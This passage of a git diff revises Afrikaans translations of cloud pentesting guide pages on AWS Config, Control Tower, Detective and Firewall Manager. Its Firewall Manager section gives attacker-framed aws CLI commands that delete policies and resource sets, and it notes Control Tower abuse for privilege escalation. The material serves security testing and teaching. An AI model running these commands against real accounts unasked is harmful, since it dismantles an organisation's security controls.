hulpbronne, **sal AWS Config die nakoming teen enige konfigurasie reëls wat jy in plek het, nagaan**.\ -AWS het 'n aantal **voorgedefinieerde reëls** wat onder die sekuriteitsdak val en gereed is om te gebruik. Byvoorbeeld, Rds-storage-encrypted. Dit kontroleer of stoorversleuteling geaktiveer is deur jou RDS-databasisinstansies. Encrypted-volumes. Dit kontroleer of enige EBS-volumes wat 'n aangehegte toestand het, versleuteld is. +Config-reëls is 'n uitstekende manier om jou te help **om spesifieke nakomingskontroles** **en beheer oor jou hulpbronne af te dwing**, en laat jou toe om 'n ideale ontplooiingsspesifikasie vir elke van jou hulpbron tipes aan te neem. Elke reël **is in wese 'n lambda-funksie** wat, wanneer dit opgeroep word, die hulpbron evalueer en 'n paar eenvoudige logika uitvoer om die nakomingsresultaat teen die reël te bepaal. **Elke keer as 'n verandering gemaak word** aan een van jou ondersteunde hulpbronne, **sal AWS Config die nakoming teen enige konfigurasie reëls wat jy in plek het, nagaan**.\ +AWS het 'n aantal **vooraf gedefinieerde reëls** wat onder die sekuriteitsdak val en gereed is om te gebruik. Byvoorbeeld, Rds-storage-encrypted. Dit kyk of stoor-enkripsie geaktiveer is deur jou RDS-databasisinstansies. Encrypted-volumes. Dit kyk of enige EBS-volumes wat 'n aangehegte toestand het, geënkripteer is. -- **AWS Managed rules**: Stel van voorgedefinieerde reëls wat baie beste praktyke dek, so dit is altyd die moeite werd om hierdie reëls eers te blaai voordat jy jou eie opstel, aangesien daar 'n kans is dat die reël dalk reeds bestaan. -- **Custom rules**: Jy kan jou eie reëls skep om spesifieke pasgemaakte konfigurasies na te gaan. +- **AWS Managed rules**: Stel van vooraf gedefinieerde reëls wat baie beste praktyke dek, so dit is altyd die moeite werd om hierdie reëls eers te blaai voordat jy jou eie opstel, aangesien daar 'n kans is dat die reël dalk reeds bestaan. +- **Custom rules**: Jy kan jou eie reëls skep om spesifieke aangepaste konfigurasies na te gaan. Beperking van 50 konfigurasie reëls per streek voordat jy AWS moet kontak vir 'n verhoging.\ Nie-nakomende resultate word NIE verwyder nie. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 0e6f02e09..7ca8eac7c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,21 +5,21 @@ ## Control Tower > [!NOTE] -> In samevatting is Control Tower 'n diens wat dit moontlik maak om beleid vir al jou rekeninge binne jou organisasie te definieer. So in plaas daarvan om elkeen van hulle te bestuur, kan jy beleid vanaf Control Tower stel wat op hulle toegepas sal word. +> In samevatting, Control Tower is 'n diens wat dit moontlik maak om beleid vir al jou rekeninge binne jou organisasie te definieer. So in plaas daarvan om elkeen van hulle te bestuur, kan jy beleid vanaf Control Tower stel wat op hulle toegepas sal word. -AWS Control Tower is 'n **diens wat deur Amazon Web Services (AWS) verskaf word** wat organisasies in staat stel om 'n veilige, nakomings- en multi-rekeningomgewing in AWS op te stel en te bestuur. +AWS Control Tower is 'n **diens wat deur Amazon Web Services (AWS)** aangebied word wat organisasies in staat stel om 'n veilige, nakomings- en multi-rekening omgewing in AWS op te stel en te bestuur. AWS Control Tower bied 'n **vooraf gedefinieerde stel van beste-praktyk bloudrukke** wat aangepas kan word om aan spesifieke **organisatoriese vereistes** te voldoen. Hierdie bloudrukke sluit vooraf-gekonfigureerde AWS-dienste en -kenmerke in, soos AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, en AWS Service Catalog. -Met AWS Control Tower kan administrateurs vinnig 'n **multi-rekeningomgewing opstel wat aan organisatoriese vereistes voldoen**, soos **veiligheid** en nakoming. Die diens bied 'n sentrale dashboard om rekeninge en hulpbronne te besigtig en te bestuur, en dit outomatiseer ook die voorsiening van rekeninge, dienste en beleid. +Met AWS Control Tower kan administrateurs vinnig 'n **multi-rekening omgewing opstel wat aan organisatoriese vereistes** voldoen, soos **veiligheid** en nakoming. Die diens bied 'n sentrale dashboard om rekeninge en hulpbronne te besigtig en te bestuur, en dit outomatiseer ook die voorsiening van rekeninge, dienste en beleid. Boonop bied AWS Control Tower veiligheidsrails, wat 'n stel van vooraf-gekonfigureerde beleid is wat verseker dat die omgewing nakom aan organisatoriese vereistes. Hierdie beleid kan aangepas word om aan spesifieke behoeftes te voldoen. -Algeheel vereenvoudig AWS Control Tower die proses om 'n veilige, nakomings- en multi-rekeningomgewing in AWS op te stel en te bestuur, wat dit vir organisasies makliker maak om op hul kernbesigheidsdoelwitte te fokus. +Algeheel vereenvoudig AWS Control Tower die proses om 'n veilige, nakomings- en multi-rekening omgewing in AWS op te stel en te bestuur, wat dit vir organisasies makliker maak om op hul kernbesigheidsdoelwitte te fokus. ### Enumeration -Vir die opsporing van controltower kontroles, moet jy eers **die org opgespoor het**: +Vir die opsporing van controltower kontroles, moet jy eers **die org geënumerateer het**: {{#ref}} ../aws-organizations-enum.md @@ -29,7 +29,7 @@ Vir die opsporing van controltower kontroles, moet jy eers **die org opgespoor h aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` > [!WARNING] -> Control Tower kan ook **Account factory** gebruik om **CloudFormation templates** in **rekeninge uit te voer en dienste** (privesc, post-exploitation...) in daardie rekeninge te laat loop +> Control Tower kan ook **Account factory** gebruik om **CloudFormation templates** in **rekening en dienste** (privesc, post-exploitation...) in daardie rekeninge uit te voer. ### Post Exploitation & Persistence diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 4a5e8035d..404196b22 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -4,7 +4,7 @@ ## Cost Explorer en Anomalie-detectie -Dit stel jou in staat om te kyk **hoe jy geld spandeer op AWS-dienste** en help jou **om anomalieë te detecteer**.\ +Dit stel jou in staat om te kyk **hoe jy geld spandeer in AWS-dienste** en help jou **anomalies te detecteer**.\ Boonop kan jy 'n anomalie-detectie konfigureer sodat AWS jou waarsku wanneer 'n **anomalie in koste gevind word**. ### Begrotings diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 401aa18cb..11ef58774 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** stroomlyn die sekuriteitsondersoekproses, wat dit meer doeltreffend maak om **te analiseer, ondersoek te doen, en die oorsaak** van sekuriteitskwessies of ongewone aktiwiteite te identifiseer. Dit outomatiseer die insameling van logdata van AWS-hulpbronne en gebruik **masjienleer, statistiese analise, en grafteorie** om 'n onderling verbonde datastel te bou. Hierdie opstelling verbeter die spoed en doeltreffendheid van sekuriteitsondersoeke aansienlik. +**Amazon Detective** stroomlyn die sekuriteitsondersoekproses, wat dit doeltreffender maak om **te analiseer, ondersoek te doen en die oorsaak** van sekuriteitskwessies of ongewone aktiwiteite te identifiseer. Dit outomatiseer die insameling van logdata van AWS-hulpbronne en gebruik **masjienleer, statistiese analise en grafteorie** om 'n onderling verbonde datastel te bou. Hierdie opstelling verbeter die spoed en doeltreffendheid van sekuriteitsondersoeke aansienlik. -Die diens vergemaklik diepgaande verkenning van sekuriteitsvoorvalle, wat sekuriteitspanne in staat stel om vinnig die onderliggende oorsake van kwessies te verstaan en aan te spreek. Amazon Detective analiseer groot hoeveelhede data van bronne soos VPC Flow Logs, AWS CloudTrail, en Amazon GuardDuty. Dit genereer outomaties 'n **omvattende, interaktiewe oorsig van hulpbronne, gebruikers, en hul interaksies oor tyd**. Hierdie geïntegreerde perspektief bied alle nodige besonderhede en konteks op een plek, wat spanne in staat stel om die redes agter sekuriteitsbevindinge te onderskei, relevante historiese aktiwiteite te ondersoek, en vinnig die oorsaak te bepaal. +Die diens vergemaklik diepgaande verkenning van sekuriteitsvoorvalle, wat sekuriteitspanne in staat stel om vinnig die onderliggende oorsake van kwessies te verstaan en aan te spreek. Amazon Detective analiseer groot hoeveelhede data van bronne soos VPC Flow Logs, AWS CloudTrail en Amazon GuardDuty. Dit genereer outomaties 'n **omvattende, interaktiewe oorsig van hulpbronne, gebruikers en hul interaksies oor tyd**. Hierdie geïntegreerde perspektief bied alle nodige besonderhede en konteks op een plek, wat spanne in staat stel om die redes agter sekuriteitsbevindinge te onderskei, relevante historiese aktiwiteite te ondersoek en vinnig die oorsaak te bepaal. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index d6eb58fb4..1ac41d4bc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,7 +4,7 @@ ## Firewall Manager -**AWS Firewall Manager** stroomlyn die bestuur en onderhoud van **AWS WAF, AWS Shield Advanced, Amazon VPC-sekuriteitsgroepe en Netwerk Toegang Beheer Lyste (ACLs), en AWS Network Firewall, AWS Route 53 Resolver DNS Firewall en derdeparty-vuurmure** oor verskeie rekeninge en hulpbronne. Dit stel jou in staat om jou vuurmuurreëls, Shield Advanced beskermings, VPC-sekuriteitsgroepe, en Network Firewall-instellings net een keer te konfigureer, met die diens **wat hierdie reëls en beskermings outomaties afdwing oor jou rekeninge en hulpbronne**, insluitend nuut bygevoegde. +**AWS Firewall Manager** stroomlyn die bestuur en onderhoud van **AWS WAF, AWS Shield Advanced, Amazon VPC-sekuriteitsgroepe en Netwerk Toegang Beheer Lyste (ACLs), en AWS Network Firewall, AWS Route 53 Resolver DNS Firewall en derdeparty-vuurmure** oor verskeie rekeninge en hulpbronne. Dit stel jou in staat om jou vuurmuur reëls, Shield Advanced beskermings, VPC-sekuriteitsgroepe, en Netwerk Firewall instellings net een keer te konfigureer, met die diens **wat hierdie reëls en beskermings outomaties afdwing oor jou rekeninge en hulpbronne**, insluitend nuut bygevoegde. Die diens bied die vermoë om **spesifieke hulpbronne saam te groepeer en te beskerm**, soos dié wat 'n gemeenskaplike etiket deel of al jou CloudFront verspreidings. 'n Belangrike voordeel van Firewall Manager is sy vermoë om **outomaties beskerming uit te brei na nuut bygevoegde hulpbronne** in jou rekening. @@ -12,69 +12,69 @@ Die diens bied die vermoë om **spesifieke hulpbronne saam te groepeer en te bes AWS Firewall Manager bied **bestuurde toepassings- en protokollyste** om die konfigurasie en bestuur van sekuriteitsgroepbeleide te vereenvoudig. Hierdie lyste stel jou in staat om die protokolle en toepassings wat deur jou beleide toegelaat of geweier word, te definieer. Daar is twee tipes bestuurde lyste: -- **Firewall Manager bestuurde lyste**: Hierdie lyste sluit **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** en **FMS-Default-Protocols-Allowed** in. Hulle word deur Firewall Manager bestuur en sluit algemeen gebruikte toepassings en protokolle in wat aan die algemene publiek toegelaat of geweier moet word. Dit is nie moontlik om hulle te redigeer of te verwyder nie, maar jy kan sy weergawe kies. -- **Pasgemaakte bestuurde lyste**: Jy bestuur hierdie lyste self. Jy kan pasgemaakte toepassings- en protokollyste skep wat op jou organisasie se behoeftes afgestem is. Anders as Firewall Manager bestuurde lyste, het hierdie lyste nie weergawes nie, maar jy het volle beheer oor pasgemaakte lyste, wat jou toelaat om hulle te skep, te redigeer en te verwyder soos benodig. +- **Firewall Manager bestuurde lyste**: Hierdie lyste sluit **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** en **FMS-Default-Protocols-Allowed** in. Hulle word deur Firewall Manager bestuur en sluit algemeen gebruikte toepassings en protokolle in wat aan die algemene publiek toegelaat of geweier moet word. Dit is nie moontlik om hulle te redigeer of te verwyder nie, maar jy kan hul weergawe kies. +- **Pasgemaakte bestuurde lyste**: Jy bestuur hierdie lyste jouself. Jy kan pasgemaakte toepassings- en protokollyste skep wat op jou organisasie se behoeftes afgestem is. Anders as Firewall Manager bestuurde lyste, het hierdie lyste nie weergawes nie, maar jy het volle beheer oor pasgemaakte lyste, wat jou toelaat om hulle te skep, te redigeer en te verwyder soos benodig. -Dit is belangrik om te noem dat **Firewall Manager-beleide slegs "Block" of "Count" aksies** vir 'n reëlgroep toelaat, sonder 'n "Allow" opsie. +Dit is belangrik om te noem dat **Firewall Manager beleide slegs "Block" of "Count" aksies** vir 'n reëlgroep toelaat, sonder 'n "Allow" opsie. -### Prerequisites +### Voorvereistes -Die volgende vereiste stappe moet voltooi word voordat jy voortgaan om Firewall Manager te konfigureer om jou organisasie se hulpbronne effektief te beskerm. Hierdie stappe bied die fundamentele opstelling wat benodig word vir Firewall Manager om sekuriteitsbeleide af te dwing en nakoming oor jou AWS-omgewing te verseker: +Die volgende voorvereiste stappe moet voltooi word voordat jy voortgaan om Firewall Manager te konfigureer om jou organisasie se hulpbronne effektief te beskerm. Hierdie stappe bied die fundamentele opstelling wat benodig word vir Firewall Manager om sekuriteitsbeleide af te dwing en nakoming oor jou AWS-omgewing te verseker: -1. **Sluit aan en konfigureer AWS Organizations:** Verseker dat jou AWS-rekening deel is van die AWS Organizations-organisasie waar die AWS Firewall Manager-beleide beplan word om geïmplementeer te word. Dit stel sentrale bestuur van hulpbronne en beleide oor verskeie AWS-rekeninge binne die organisasie moontlik. -2. **Skep 'n AWS Firewall Manager Default Administrator Account:** Stel 'n standaard administrateurrekening in spesifiek vir die bestuur van Firewall Manager-sekuriteitsbeleide. Hierdie rekening sal verantwoordelik wees vir die konfigurasie en afdwinging van sekuriteitsbeleide oor die organisasie. Slegs die bestuurrekening van die organisasie kan Firewall Manager standaard administrateurrekeninge skep. -3. **Aktiveer AWS Config:** Aktiveer AWS Config om Firewall Manager van die nodige konfigurasiedata en insigte te voorsien wat benodig word om sekuriteitsbeleide effektief af te dwing. AWS Config help om hulpbron konfigurasies en veranderinge te analiseer, te oudit, te monitor en te oudit, wat beter sekuriteitsbestuur fasiliteer. -4. **Vir Derdeparty-beleide, inteken in die AWS Marketplace en konfigureer Derdeparty-instellings:** As jy van plan is om derdeparty-vuurmuurbeleide te gebruik, teken in op hulle in die AWS Marketplace en konfigureer die nodige instellings. Hierdie stap verseker dat Firewall Manager kan integreer en beleide van vertroude derdeparty-verskaffers kan afdwing. -5. **Vir Netwerk Vuurmuur en DNS Vuurmuur Beleide, aktiveer hulpbrondeling:** Aktiveer hulpbrondeling spesifiek vir Netwerk Vuurmuur en DNS Vuurmuur beleide. Dit stel Firewall Manager in staat om vuurmuurbeskerming toe te pas op jou organisasie se VPCs en DNS-resolusie, wat netwerk sekuriteit verbeter. -6. **Om AWS Firewall Manager in streke te gebruik wat standaard gedeaktiveer is:** As jy van plan is om Firewall Manager in AWS-streke te gebruik wat standaard gedeaktiveer is, verseker dat jy die nodige stappe neem om sy funksionaliteit in daardie streke te aktiveer. Dit verseker konsekwente sekuriteitsafdwinging oor alle streke waar jou organisasie opereer. +1. **Sluit aan en konfigureer AWS Organisasies:** Verseker dat jou AWS-rekening deel is van die AWS Organisasies-organisasie waar die AWS Firewall Manager beleide beplan word om geïmplementeer te word. Dit stel sentrale bestuur van hulpbronne en beleide oor verskeie AWS-rekeninge binne die organisasie moontlik. +2. **Skep 'n AWS Firewall Manager Standaard Administrateur Rekening:** Stel 'n standaard administrateur rekening op spesifiek vir die bestuur van Firewall Manager sekuriteitsbeleide. Hierdie rekening sal verantwoordelik wees vir die konfigurasie en afdwinging van sekuriteitsbeleide oor die organisasie. Slegs die bestuursrekening van die organisasie kan Firewall Manager standaard administrateur rekeninge skep. +3. **Aktiveer AWS Config:** Aktiveer AWS Config om Firewall Manager van die nodige konfigurasie data en insigte te voorsien wat benodig word om sekuriteitsbeleide effektief af te dwing. AWS Config help om hulpbron konfigurasies en veranderinge te analiseer, te oudit, te monitor en te oudit, wat beter sekuriteitsbestuur fasiliteer. +4. **Vir Derdeparty Beleide, Teken in op die AWS Marketplace en Konfigureer Derdeparty Instellings:** As jy van plan is om derdeparty-vuurmuurbeleide te gebruik, teken in op hulle in die AWS Marketplace en konfigureer die nodige instellings. Hierdie stap verseker dat Firewall Manager kan integreer en beleide van vertroude derdeparty verskaffers kan afdwing. +5. **Vir Netwerk Vuurmuur en DNS Vuurmuur Beleide, aktiveer hulpbrondeling:** Aktiveer hulpbrondeling spesifiek vir Netwerk Vuurmuur en DNS Vuurmuur beleide. Dit stel Firewall Manager in staat om vuurmuur beskermings op jou organisasie se VPCs en DNS-resolusie toe te pas, wat netwerk sekuriteit verbeter. +6. **Om AWS Firewall Manager in Streke te gebruik wat standaard gedeaktiveer is:** As jy van plan is om Firewall Manager in AWS streke te gebruik wat standaard gedeaktiveer is, verseker dat jy die nodige stappe neem om sy funksionaliteit in daardie streke te aktiveer. Dit verseker konsekwente sekuriteitsafdwinging oor alle streke waar jou organisasie opereer. Vir meer inligting, kyk: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). -### Types of protection policies +### Tipes beskermingsbeleide AWS Firewall Manager bestuur verskeie tipes beleide om sekuriteitsbeheer oor verskillende aspekte van jou organisasie se infrastruktuur af te dwing: -1. **AWS WAF Policy:** Hierdie beleids tipe ondersteun beide AWS WAF en AWS WAF Classic. Jy kan definieer watter hulpbronne deur die beleid beskerm word. Vir AWS WAF-beleide kan jy stelle reëlgroepe spesifiseer om eerste en laaste in die web ACL te loop. Boonop kan rekening eienaars reëls en reëlgroepe byvoeg om tussen hierdie stelle te loop. -2. **Shield Advanced Policy:** Hierdie beleid pas Shield Advanced beskermings oor jou organisasie toe vir gespesifiseerde hulpbron tipes. Dit help om teen DDoS-aanvalle en ander bedreigings te beskerm. -3. **Amazon VPC Security Group Policy:** Met hierdie beleid kan jy sekuriteitsgroepe bestuur wat deur jou organisasie gebruik word, en 'n basiese stel reëls oor jou AWS-omgewing afdwing om netwerktoegang te beheer. -4. **Amazon VPC Network Access Control List (ACL) Policy:** Hierdie beleids tipe gee jou beheer oor netwerk ACLs wat in jou organisasie gebruik word, wat jou toelaat om 'n basiese stel netwerk ACLs oor jou AWS-omgewing af te dwing. -5. **Network Firewall Policy:** Hierdie beleid pas AWS Network Firewall beskerming toe op jou organisasie se VPCs, wat netwerk sekuriteit verbeter deur verkeer te filter op grond van vooraf gedefinieerde reëls. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** Hierdie beleid pas DNS Firewall beskermings toe op jou organisasie se VPCs, wat help om kwaadwillige domeinresolusie pogings te blokkeer en sekuriteitsbeleide vir DNS-verkeer af te dwing. -7. **Third-Party Firewall Policy:** Hierdie beleids tipe pas beskermings van derdeparty-vuurmure toe, wat deur intekening beskikbaar is deur die AWS Marketplace-konsol. Dit stel jou in staat om bykomende sekuriteitsmaatreëls van vertroude verskaffers in jou AWS-omgewing te integreer. -1. **Palo Alto Networks Cloud NGFW Policy:** Hierdie beleid pas Palo Alto Networks Cloud Next Generation Firewall (NGFW) beskermings en reëlstapels toe op jou organisasie se VPCs, wat gevorderde bedreigingsvoorkoming en toepassingsvlak sekuriteitsbeheer bied. -2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** Hierdie beleid pas Fortigate Cloud Native Firewall (CNF) as 'n diens beskermings toe, wat toonaangewende bedreigingsvoorkoming, webtoepassing vuurmuur (WAF), en API-beskerming bied wat op wolkinfrastrukture afgestem is. +1. **AWS WAF Beleid:** Hierdie beleids tipe ondersteun beide AWS WAF en AWS WAF Classic. Jy kan definieer watter hulpbronne deur die beleid beskerm word. Vir AWS WAF beleide, kan jy stelle van reëlgroepe spesifiseer om eerste en laaste in die web ACL te loop. Daarbenewens kan rekening eienaars reëls en reëlgroepe byvoeg om tussen hierdie stelle te loop. +2. **Shield Advanced Beleid:** Hierdie beleid pas Shield Advanced beskermings oor jou organisasie toe vir gespesifiseerde hulpbron tipes. Dit help om teen DDoS-aanvalle en ander bedreigings te beskerm. +3. **Amazon VPC Sekuriteitsgroep Beleid:** Met hierdie beleid kan jy sekuriteitsgroepe bestuur wat deur jou organisasie gebruik word, en 'n basiese stel reëls oor jou AWS-omgewing afdwing om netwerktoegang te beheer. +4. **Amazon VPC Netwerk Toegang Beheer Lys (ACL) Beleid:** Hierdie beleids tipe gee jou beheer oor netwerk ACLs wat in jou organisasie gebruik word, wat jou toelaat om 'n basiese stel netwerk ACLs oor jou AWS-omgewing af te dwing. +5. **Netwerk Vuurmuur Beleid:** Hierdie beleid pas AWS Network Firewall beskerming toe op jou organisasie se VPCs, wat netwerk sekuriteit verbeter deur verkeer te filter op grond van vooraf gedefinieerde reëls. +6. **Amazon Route 53 Resolver DNS Vuurmuur Beleid:** Hierdie beleid pas DNS Vuurmuur beskermings toe op jou organisasie se VPCs, wat help om kwaadwillige domeinresolusie pogings te blokkeer en sekuriteitsbeleide vir DNS-verkeer af te dwing. +7. **Derdeparty Vuurmuur Beleid:** Hierdie beleids tipe pas beskermings van derdeparty-vuurmuur toe, wat deur subskripsie deur die AWS Marketplace-konsol beskikbaar is. Dit stel jou in staat om bykomende sekuriteitsmaatreëls van vertroude verskaffers in jou AWS-omgewing te integreer. +1. **Palo Alto Networks Cloud NGFW Beleid:** Hierdie beleid pas Palo Alto Networks Cloud Next Generation Firewall (NGFW) beskermings en reëlstapels toe op jou organisasie se VPCs, wat gevorderde bedreigingsvoorkoming en toepassingsvlak sekuriteitsbeheer bied. +2. **Fortigate Cloud Native Firewall (CNF) as 'n Diens Beleid:** Hierdie beleid pas Fortigate Cloud Native Firewall (CNF) as 'n Diens beskermings toe, wat bedryf-leidende bedreigingsvoorkoming, webtoepassing vuurmuur (WAF), en API-beskerming bied wat op wolkinfrastrukture afgestem is. -### Administrator accounts +### Administrateur rekeninge -AWS Firewall Manager bied buigsaamheid in die bestuur van vuurmuurhulpbronne binne jou organisasie deur sy administratiewe omvang en twee tipes administrateurrekeninge. +AWS Firewall Manager bied buigsaamheid in die bestuur van vuurmuur hulpbronne binne jou organisasie deur sy administratiewe omvang en twee tipes administrateur rekeninge. -**Administratiewe omvang definieer die hulpbronne wat 'n Firewall Manager administrateur kan bestuur**. Nadat 'n AWS Organizations bestuurrekening 'n organisasie by Firewall Manager aanmeld, kan dit addisionele administrateurs met verskillende administratiewe omfange skep. Hierdie omfange kan insluit: +**Administratiewe omvang definieer die hulpbronne wat 'n Firewall Manager administrateur kan bestuur**. Nadat 'n AWS Organisasies bestuursrekening 'n organisasie aan Firewall Manager aanmeld, kan dit addisionele administrateurs met verskillende administratiewe omfange skep. Hierdie omfange kan insluit: - Rekeninge of organisatoriese eenhede (OUs) waaraan die administrateur beleide kan toepas. - Streke waar die administrateur aksies kan uitvoer. - Firewall Manager beleids tipes wat die administrateur kan bestuur. -Administratiewe omvang kan ofwel **volledig of beperk** wees. Volledige omvang gee die administrateur toegang tot **alle gespesifiseerde hulpbron tipes, streke, en beleids tipes**. In teenstelling hiermee, **beperkte omvang bied administratiewe toestemming slegs aan 'n subgroep van hulpbronne, streke, of beleids tipes**. Dit is raadsaam om administrateurs slegs die toestemming te gee wat hulle nodig het om hul rolle effektief te vervul. Jy kan enige kombinasie van hierdie administratiewe omvang toestande op 'n administrateur toepas, wat nakoming van die beginsel van minste voorreg verseker. +Administratiewe omvang kan **volledig of beperk** wees. Volledige omvang gee die administrateur toegang tot **alle gespesifiseerde hulpbron tipes, streke, en beleids tipes**. In teenstelling hiermee, **beperkte omvang bied administratiewe toestemming slegs aan 'n subset van hulpbronne, streke, of beleids tipes**. Dit is raadsaam om administrateurs slegs die toestemmings te gee wat hulle nodig het om hul rolle effektief te vervul. Jy kan enige kombinasie van hierdie administratiewe omvang toestande op 'n administrateur toepas, wat nakoming van die beginsel van die minste voorreg verseker. -Daar is twee duidelike tipes administrateurrekeninge, elk met spesifieke rolle en verantwoordelikhede: +Daar is twee duidelike tipes administrateur rekeninge, elk met spesifieke rolle en verantwoordelikhede: -- **Default Administrator:** -- Die standaard administrateurrekening word deur die AWS Organizations-organisasie se bestuurrekening tydens die aanmeldproses by Firewall Manager geskep. +- **Standaard Administrateur:** +- Die standaard administrateur rekening word deur die AWS Organisasies-organisasie se bestuursrekening tydens die aanmeldproses aan Firewall Manager geskep. - Hierdie rekening het die vermoë om derdeparty-vuurmure te bestuur en het volle administratiewe omvang. -- Dit dien as die primêre administrateurrekening vir Firewall Manager, verantwoordelik vir die konfigurasie en afdwinging van sekuriteitsbeleide oor die organisasie. +- Dit dien as die primêre administrateur rekening vir Firewall Manager, verantwoordelik vir die konfigurasie en afdwinging van sekuriteitsbeleide oor die organisasie. - Terwyl die standaard administrateur volle toegang tot alle hulpbron tipes en administratiewe funksies het, werk dit op dieselfde gelyke vlak as ander administrateurs as verskeie administrateurs binne die organisasie gebruik word. -- **Firewall Manager Administrators:** -- Hierdie administrateurs kan hulpbronne bestuur binne die omvang wat deur die AWS Organizations bestuurrekening aangewys is, soos gedefinieer deur die administratiewe omvang konfigurasie. +- **Firewall Manager Administrateurs:** +- Hierdie administrateurs kan hulpbronne bestuur binne die omvang wat deur die AWS Organisasies bestuursrekening aangewys is, soos gedefinieer deur die administratiewe omvang konfigurasie. - Firewall Manager administrateurs word geskep om spesifieke rolle binne die organisasie te vervul, wat die delegasie van verantwoordelikhede moontlik maak terwyl sekuriteit en nakomingstandaarde gehandhaaf word. -- By die skepping, kontroleer Firewall Manager met AWS Organizations om te bepaal of die rekening reeds 'n gedelegeerde administrateur is. As nie, bel Firewall Manager Organisasies om die rekening as 'n gedelegeerde administrateur vir Firewall Manager aan te dui. +- By die skepping, kontroleer Firewall Manager met AWS Organisasies om te bepaal of die rekening reeds 'n gedelegeerde administrateur is. As nie, bel Firewall Manager Organisasies aan om die rekening as 'n gedelegeerde administrateur vir Firewall Manager aan te dui. -Die bestuur van hierdie administrateurrekeninge behels die skepping daarvan binne Firewall Manager en die definisie van hul administratiewe omfange volgens die organisasie se sekuriteitsvereistes en die beginsel van minste voorreg. Deur toepaslike administratiewe rolle toe te ken, kan organisasies effektiewe sekuriteitsbestuur verseker terwyl hulle fyn beheer oor toegang tot sensitiewe hulpbronne handhaaf. +Die bestuur van hierdie administrateur rekeninge behels om hulle binne Firewall Manager te skep en hul administratiewe omfange volgens die organisasie se sekuriteitsvereistes en die beginsel van die minste voorreg te definieer. Deur toepaslike administratiewe rolle toe te ken, kan organisasies effektiewe sekuriteitsbestuur verseker terwyl hulle fyn beheer oor toegang tot sensitiewe hulpbronne handhaaf. Dit is belangrik om te beklemtoon dat **slegs een rekening binne 'n organisasie as die Firewall Manager standaard administrateur kan dien**, wat die beginsel van "**eerste in, laaste uit**" volg. Om 'n nuwe standaard administrateur aan te dui, moet 'n reeks stappe gevolg word: -- Eerstens, elke Firewall Administrator administrateurrekening moet hul eie rekening herroep. -- Dan kan die bestaande standaard administrateur hul eie rekening herroep, wat effektief die organisasie van Firewall Manager afmeld. Hierdie proses lei tot die verwydering van alle Firewall Manager-beleide wat deur die herroepte rekening geskep is. -- Om af te sluit, moet die AWS Organizations bestuurrekening die Firewall Manager standaard administrateur aanwys. +- Eerstens, elke Firewall Administrateur administrateur rekening moet hul eie rekening herroep. +- Dan kan die bestaande standaard administrateur hul eie rekening herroep, wat effektief die organisasie van Firewall Manager afmeld. Hierdie proses lei tot die verwydering van alle Firewall Manager beleide wat deur die herroepte rekening geskep is. +- Om af te sluit, moet die AWS Organisasies bestuursrekening die Firewall Manager standaard administrateur aanwys. ## Enumeration ``` @@ -208,11 +208,11 @@ aws fms delete-policy --policy-id [--delete-all-policy-resources | --no- "TagList": [] } ``` -**Potensiële Impak:** Ontmanteling van sekuriteitsbeheer, beleidsontduiking, nakomingsoortredings, operasionele onderbrekings, en potensiële datalekke binne die omgewing. +**Potensiële Impak:** Ontmanteling van sekuriteitsbeheer, beleidsontduiking, nakomingsoortredings, operasionele ontwrigtings, en potensiële datalekke binne die omgewing. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -'n Aanvaller met die **`fms:BatchAssociateResource`** en **`fms:BatchDisassociateResource`** toestemmings sal in staat wees om hulpbronne van 'n Firewall Manager hulpbronstel te assosieer of te disassosieer. Daarbenewens sal die **`fms:PutResourceSet`** en **`fms:DeleteResourceSet`** toestemmings 'n aanvaller in staat stel om hierdie hulpbronstelle van AWS Firewall Manager te skep, te wysig of te verwyder. +'n Aanvaller met die **`fms:BatchAssociateResource`** en **`fms:BatchDisassociateResource`** toestemmings sal in staat wees om hulpbronne van 'n Firewall Manager hulpbronstel te assosieer of te disassosieer. Daarbenewens sal die **`fms:PutResourceSet`** en **`fms:DeleteResourceSet`** toestemmings 'n aanvaller toelaat om hierdie hulpbronstelle van AWS Firewall Manager te skep, te wysig of te verwyder. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -226,16 +226,16 @@ aws fms delete-resource-set --identifier ### `fms:PutAppsList`, `fms:DeleteAppsList` -'n Aanvaller met die **`fms:PutAppsList`** en **`fms:DeleteAppsList`** toestemmings sal in staat wees om toepassingslyste van AWS Firewall 